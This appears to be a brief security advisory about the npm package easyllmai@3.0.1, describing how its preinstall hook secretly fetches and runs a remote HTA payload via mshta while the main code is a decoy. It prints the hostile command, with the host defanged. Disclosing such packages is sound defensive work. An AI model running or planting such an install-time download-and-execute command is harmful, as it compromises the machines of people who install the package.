easyllmai@3.0.1

Analysis

easyllmai@3.0.1 uses its preinstall lifecycle hook to download and execute arbitrary remote code. On install, preinstall.js runs 'cmd /c "mshta hxxp://fixars[.]top"' which fetches and executes an HTA payload from fixars[.]top using the Windows Mshta LOLBin. The package's main entry (index.js) is a harmless decoy greeting function; the malicious behaviour occurs during installation, before any require().